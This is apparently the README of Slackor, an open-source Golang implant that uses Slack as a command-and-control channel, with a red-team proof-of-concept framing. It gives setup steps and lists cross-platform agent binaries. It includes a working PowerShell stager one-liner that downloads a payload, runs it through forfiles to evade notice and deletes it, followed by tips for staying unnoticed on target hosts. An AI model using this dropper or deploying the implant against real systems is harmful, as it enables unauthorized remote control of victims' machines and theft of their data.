
A Golang implant that uses Slack as a command and control server
Maintained at https://github.com/n00py/Slackor
A Golang implant that uses Slack as a command and control channel.
This project was inspired by Gcat and Twittor.
This tool is released as a proof of concept. Be sure to read and understand the Slack App Developer Policy before creating any Slack apps.
Note: The server is written in Python 3
For this to work you need:
A Slack Workspace
Register an app with the following permissions:
Create a bot
This repo contains five files:
install.sh Installs dependanciessetup.py The script to create the slack channels, database, and implantagent.py Script to generate new implantsserver.py The Slackor server, designed to be ran on Linuxagent.go The golang implantrequirements.txt Python dependencies (installed automatically)To get started:
go get github.com/Coalfire-Research/Slackorcd $GOPATH/src/github.com/Coalfire-Research/Slackorinstall.shsetup.py
After running the script successfully, several files will be created in the dist/ directory:
agent.windows.exe: Windows 64-bit binaryagent.upx.exe: Windows 64-bit binary, UPX packedagent.darwin: macOS 64-bit binaryagent.32.linux: Linux 32-bit binaryagent.64.linux: Linux 64-bit binaryAfter starting server.py on a Linux host, execute whichever agent above is appropriate for your target host.
Run the "stager" module to generate a one-liner and other droppers.
powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe
This will execute InvokeWebRequest(PS v.3+) to download the payload, execute it using a LOLBin, and then delete itself once killed. This is a working example but the command can tweaked to use another download method or execution method.
Type "help" or press [TAB] to see a list of available commands. type "help [COMMAND]" to see a description of that command.
(Slackor)
Once an agent checks in, you can interact with it. Use "interact [AGENT] to enter into an agent prompt. Type "help" or press [TAB] to see a list of available commands.
(Slackor:AGENT)
Command output and downloaded files are AES encrypted in addition to Slack's TLS transport encryption.
Modules will warn you before performing tasks that write to disk.
When executing shell commands, take note that cmd.exe/bash will be executed. This may be monitored on the host.
Here are several OPSEC safe commands that will NOT execute cmd.exe/bash:
Is this safe to use for red teams/pentesting?